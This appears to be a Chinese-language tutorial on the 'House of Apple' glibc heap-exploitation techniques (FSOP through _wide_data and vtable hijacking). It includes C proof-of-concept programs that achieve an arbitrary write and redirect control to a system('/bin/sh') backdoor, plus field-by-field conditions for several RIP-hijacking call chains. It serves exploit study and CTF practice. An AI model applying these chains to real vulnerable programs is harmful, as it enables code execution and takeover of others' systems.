House Of Apple
House Of Apple 可以在仅使用一次 largebin attack 并限制读写次数的条件下进行 FSOP 利用
此方法利用成功的前提是已经泄露出 libc_base
地址和 heap_base
地址
House Of Apple 原理
当程序从 main
函数返回或者执行 exit
函数的时候,均会调用 fcloseall
函数,该调用链为:
1
| exit -> fcloseall -> _IO_cleanup -> _IO_flush_all_lockp -> _IO_wstrn_overflow
|
- 最后会遍历
_IO_list_all
存放的每一个 IO_FILE
结构体
- 如果满足条件的话,会调用每个结构体中
vtable->_overflow
函数指针指向的函数
使用 largebin attack 可以劫持 _IO_list_all
变量,将其替换为伪造的 IO_FILE
结构体,而在此时,我们其实仍可以继续利用某些IO流函数去修改其他地方的值
要想修改其他地方的值,就离不开 _IO_FILE
的一个成员 _wide_data
的利用:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| amd64:
0x0:'_flags', 0x8:'_IO_read_ptr', 0x10:'_IO_read_end', 0x18:'_IO_read_base', 0x20:'_IO_write_base', 0x28:'_IO_write_ptr', 0x30:'_IO_write_end', 0x38:'_IO_buf_base', 0x40:'_IO_buf_end', 0x48:'_IO_save_base', 0x50:'_IO_backup_base', 0x58:'_IO_save_end', 0x60:'_markers', 0x68:'_chain', 0x70:'_fileno', 0x74:'_flags2', 0x78:'_old_offset', 0x80:'_cur_column', 0x82:'_vtable_offset', 0x83:'_shortbuf', 0x88:'_lock', 0x90:'_offset', 0x98:'_codecvt', 0xa0:'_wide_data', 0xa8:'_freeres_list', 0xb0:'_freeres_buf', 0xb8:'__pad5', 0xc0:'_mode', 0xc4:'_unused2', 0xd8:'vtable'
|
我们在伪造 _IO_FILE
结构体的时候,伪造 _wide_data
变量,然后通过某些函数,比如 _IO_wstrn_overflow
就可以将已知地址空间上的某些值修改为一个已知值
House Of Apple 利用姿势
使用 house of apple 的条件为:
- 程序从
main
函数返回或能调用 exit
函数
- 能泄露出
libc_base
地址和 heap_base
地址
- 能使用一次 largebin attack(一次即可)
先利用 largebin attack 劫持 _IO_list_all
,然后伪造一个 stderr IO_FILE
:
- stderr+0x28 = -1(stderr->_IO_write_ptr)
- stderr+0x74 = 8(stderr->_flags2)
- stderr+0xa0 = target(stderr->_wide_data)
- stderr+0xd8 == _IO_wstrn_jumps(stderr->vtable)
最后调用 exit 完成修改(因为 stderr IO_FILE
被伪造,因此程序不会真的退出)
使用案例如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64
| #include<stdio.h> #include<stdlib.h> #include<stdint.h> #include<unistd.h> #include <string.h>
void main() { setbuf(stdout, 0); setbuf(stdin, 0); setvbuf(stderr, 0, 2, 0); puts("[*] allocate a 0x100 chunk"); size_t *p1 = malloc(0xf0); size_t *tmp = p1; size_t old_value = 0x1122334455667788; for (size_t i = 0; i < 0x100 / 8; i++) { p1[i] = old_value; } puts("===========================old value======================="); for (size_t i = 0; i < 4; i++) { printf("[%p]: 0x%016lx 0x%016lx\n", tmp, tmp[0], tmp[1]); tmp += 2; } puts("===========================old value=======================");
size_t puts_addr = (size_t)&puts; printf("[*] puts address: %p\n", (void *)puts_addr); size_t stderr = puts_addr + 0x1691a0; size_t stderr_write_ptr_addr = stderr + 0x28; printf("[*] stderr->_IO_write_ptr address: %p\n", (void *)stderr_write_ptr_addr); size_t stderr_flags2_addr = stderr + 0x74; printf("[*] stderr->_flags2 address: %p\n", (void *)stderr_flags2_addr); size_t stderr_wide_data_addr = stderr + 0xa0; printf("[*] stderr->_wide_data address: %p\n", (void *)stderr_wide_data_addr); size_t sdterr_vtable_addr = stderr + 0xd8; printf("[*] stderr->vtable address: %p\n", (void *)sdterr_vtable_addr); size_t _IO_wstrn_jumps_addr = stderr - 0x4960; printf("[*] _IO_wstrn_jumps address: %p\n", (void *)_IO_wstrn_jumps_addr);
puts("[+] step 1: change stderr->_IO_write_ptr to -1"); *(size_t *)stderr_write_ptr_addr = (size_t)-1;
puts("[+] step 2: change stderr->_flags2 to 8"); *(size_t *)stderr_flags2_addr = 8;
puts("[+] step 3: replace stderr->_wide_data with the allocated chunk"); *(size_t *)stderr_wide_data_addr = (size_t)p1;
puts("[+] step 4: replace stderr->vtable with _IO_wstrn_jumps"); *(size_t *)sdterr_vtable_addr = (size_t)_IO_wstrn_jumps_addr;
puts("[+] step 5: call fcloseall and trigger house of apple"); fcloseall(); tmp = p1; puts("===========================new value======================="); for (size_t i = 0; i < 4; i++) { printf("[%p]: 0x%016lx 0x%016lx\n", tmp, tmp[0], tmp[1]); tmp += 2; } puts("===========================new value======================="); }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| ➜ exp ./test [*] allocate a 0x100 chunk ===========================old value======================= [0x55a85a8bc2a0]: 0x1122334455667788 0x1122334455667788 [0x55a85a8bc2b0]: 0x1122334455667788 0x1122334455667788 [0x55a85a8bc2c0]: 0x1122334455667788 0x1122334455667788 [0x55a85a8bc2d0]: 0x1122334455667788 0x1122334455667788 ===========================old value======================= [*] puts address: 0x7f6c95c1c420 [*] stderr->_IO_write_ptr address: 0x7f6c95d855e8 [*] stderr->_flags2 address: 0x7f6c95d85634 [*] stderr->_wide_data address: 0x7f6c95d85660 [*] stderr->vtable address: 0x7f6c95d85698 [*] _IO_wstrn_jumps address: 0x7f6c95d80c60 [+] step 1: change stderr->_IO_write_ptr to -1 [+] step 2: change stderr->_flags2 to 8 [+] step 3: replace stderr->_wide_data with the allocated chunk [+] step 4: replace stderr->vtable with _IO_wstrn_jumps [+] step 5: call fcloseall and trigger house of apple ===========================new value======================= [0x55a85a8bc2a0]: 0x00007f6c95d856b0 0x00007f6c95d857b0 [0x55a85a8bc2b0]: 0x00007f6c95d856b0 0x00007f6c95d856b0 [0x55a85a8bc2c0]: 0x00007f6c95d856b0 0x00007f6c95d856b0 [0x55a85a8bc2d0]: 0x00007f6c95d856b0 0x00007f6c95d857b0 ===========================new value=======================
|
上面这种用法只能实现已知地址任意写(和 largebin attack 的效果类似),下面这种利用方式可以直接劫持程序流程(称为 house of apple2)
House Of Apple2 原理
stdin/stdout/stderr
这三个 _IO_FILE
结构体会以 _IO_file_jumps
为虚表,而其中的函数 IO_validate_vtable
负责检查 vtable
的合法性
但在调用虚表 _wide_vtable
里面的函数时,并没有检查 vtable
的合法性
因此,我们可以劫持 IO_FILE
的 vtable
为 _IO_wfile_jumps
,控制 _wide_data
为可控的堆地址空间,进而控制 _wide_data->_wide_vtable
为可控的堆地址空间,然后控制程序的执行流:
1
| _IO_wdefault_xsgetn -> _IO_switch_to_wget_mode -> backdoor
|
House Of Apple2 利用姿势
使用 house of apple2 的条件为:
- 能泄露出
libc_base
地址和 heap_base
地址
- 能控制程序执行
IO
操作:
- 从
main
函数返回
- 调用
exit
函数
- 通过
__malloc_assert
触发
- 能控制
_IO_FILE
的 vtable
和 _wide_data
(一般使用 largebin attack
去控制)
使用案例如下:(使用 _IO_wdefault_xsgetn
调用链)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57
| #include<stdio.h> #include<stdlib.h> #include<stdint.h> #include<unistd.h> #include <string.h> void backdoor() { system("/bin/sh"); } void main() { setbuf(stdout, 0); setbuf(stdin, 0); setbuf(stderr, 0); char *p1 = calloc(0x200, 1); char *p2 = calloc(0x200, 1); puts("[*] allocate two 0x200 chunks"); size_t puts_addr = (size_t)&puts; printf("[*] puts address: %p\n", (void *)puts_addr); size_t libc_base_addr = puts_addr - 0x84420; printf("[*] libc base address: %p\n", (void *)libc_base_addr); size_t _IO_2_1_stderr_addr = libc_base_addr + 0x1ed5c0; printf("[*] _IO_2_1_stderr_ address: %p\n", (void *)_IO_2_1_stderr_addr); size_t _IO_wstrn_jumps_addr = libc_base_addr + 0x1e8c60; printf("[*] _IO_wstrn_jumps address: %p\n", (void *)_IO_wstrn_jumps_addr); char *stderr2 = (char *)_IO_2_1_stderr_addr; puts("[+] step 1: change stderr->_flags to 0x800"); *(size_t *)stderr2 = 0x800; puts("[+] step 2: change stderr->_mode to 1"); *(size_t *)(stderr2 + 0xc0) = 1; puts("[+] step 3: change stderr->vtable to _IO_wstrn_jumps-0x20"); *(size_t *)(stderr2 + 0xd8) = _IO_wstrn_jumps_addr-0x20; puts("[+] step 4: replace stderr->_wide_data with the allocated chunk p1"); *(size_t *)(stderr2 + 0xa0) = (size_t)p1; puts("[+] step 5: set stderr->_wide_data->_wide_vtable with the allocated chunk p2"); *(size_t *)(p1 + 0xe0) = (size_t)p2; puts("[+] step 6: set stderr->_wide_data->_wide_vtable->_IO_write_ptr > stderr->_wide_data->_wide_vtable->_IO_write_base"); *(size_t *)(p1 + 0x20) = (size_t)1; puts("[+] step 7: put backdoor at fake _wide_vtable->_overflow"); *(size_t *)(p2 + 0x18) = (size_t)(&backdoor); puts("[+] step 8: call fflush(stderr) to trigger backdoor func"); fflush(stderr); }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| ➜ exp ./test [*] allocate two 0x200 chunks [*] puts address: 0x7fe29386f420 [*] libc base address: 0x7fe2937eb000 [*] _IO_2_1_stderr_ address: 0x7fe2939d85c0 [*] _IO_wstrn_jumps address: 0x7fe2939d3c60 [+] step 1: change stderr->_flags to 0x800 [+] step 2: change stderr->_mode to 1 [+] step 3: change stderr->vtable to _IO_wstrn_jumps-0x20 [+] step 4: replace stderr->_wide_data with the allocated chunk p1 [+] step 5: set stderr->_wide_data->_wide_vtable with the allocated chunk p2 [+] step 6: set stderr->_wide_data->_wide_vtable->_IO_write_ptr > stderr->_wide_data->_wide_vtable->_IO_write_base [+] step 7: put backdoor at fake _wide_vtable->_overflow [+] step 8: call fflush(stderr) to trigger backdoor func $ whoami yhellow
|
下面给出几条好用的调用链及其利用方式:
利用 _IO_wfile_overflow
函数控制程序执行流
1
| _IO_wfile_overflow -> _IO_wdoallocbuf -> _IO_WDOALLOCATE -> *(fp->_wide_data->_wide_vtable + 0x68)(fp)
|
_flags
= ~(2 | 0x8 | 0x800)
vtable
= _IO_wfile_jumps/_IO_wfile_jumps_mmap/_IO_wfile_jumps_maybe_mmap
的地址(加减偏移)
_wide_data
= 可控堆地址A
(即满足 *(fp+0xa0)=A
)
_wide_data->_IO_write_base
= 0
(即满足 *(A+0x18)=0
)
_wide_data->_IO_buf_base
= 0
(即满足 *(A+0x30)=0
)
_wide_data->_wide_vtable
= 可控堆地址B
(即满足 *(A+0xe0)=B
)
_wide_data->_wide_vtable->doallocate
= 地址C
,用于劫持 RIP
(即满足 *(B+0x68)=C
)
利用 _IO_wfile_underflow_mmap
函数控制程序执行流
1
| _IO_wfile_underflow_mmap -> _IO_wdoallocbuf -> _IO_WDOALLOCATE -> *(fp->_wide_data->_wide_vtable + 0x68)(fp)
|
_flags
= ~4
vtable
设置为 _IO_wfile_jumps_mmap
地址(加减偏移)
_IO_read_end > _IO_read_ptr
(不进入调用)
_wide_data
设置为可控堆地址 A
(即满足*(fp+0xa0)=A
)
_wide_data->_IO_read_ptr >= _wide_data->_IO_read_end
(即满足*A>=*(A+8)
)
_wide_data->_IO_buf_base
= 0
(即满足*(A+0x30)=0
)
_wide_data->_IO_save_base
= 0
(即满足*(A+0x40)=0
)
_wide_data->_wide_vtable
= 可控堆地址B
(即满足*(A+0xe0)=B
)
_wide_data->_wide_vtable->doallocate
= 地址C
,用于劫持 RIP
(即满足*(B+0x68)=C
)
- PS:这条链执行的条件是调用到
_IO_wdefault_xsgetn
时 RDX
寄存器不能为“0”
利用 _IO_wdefault_xsgetn
函数控制程序执行流
1
| _IO_wdefault_xsgetn -> __wunderflow -> _IO_switch_to_wget_mode -> _IO_WOVERFLOW -> *(fp->_wide_data->_wide_vtable + 0x18)(fp)
|
_flags
= 0x800
vtable
= _IO_wstrn_jumps/_IO_wmem_jumps/_IO_wstr_jumps
地址(加减偏移)
_mode
> 0
(即满足*(fp+0xc0)>0
)
_wide_data
= 可控堆地址A
(即满足*(fp+0xa0)=A
)
_wide_data->_IO_read_end == _wide_data->_IO_read_ptr
= 0
(即满足 *(A+8)=*A
)
_wide_data->_IO_write_ptr > _wide_data->_IO_write_base
(即满足*(A+0x20)>*(A+0x18)
)
_wide_data->_wide_vtable
= 可控堆地址B
(即满足*(A+0xe0)=B
)
_wide_data->_wide_vtable->overflow
= 地址C
,用于劫持RIP
(即满足*(B+0x18)=C
)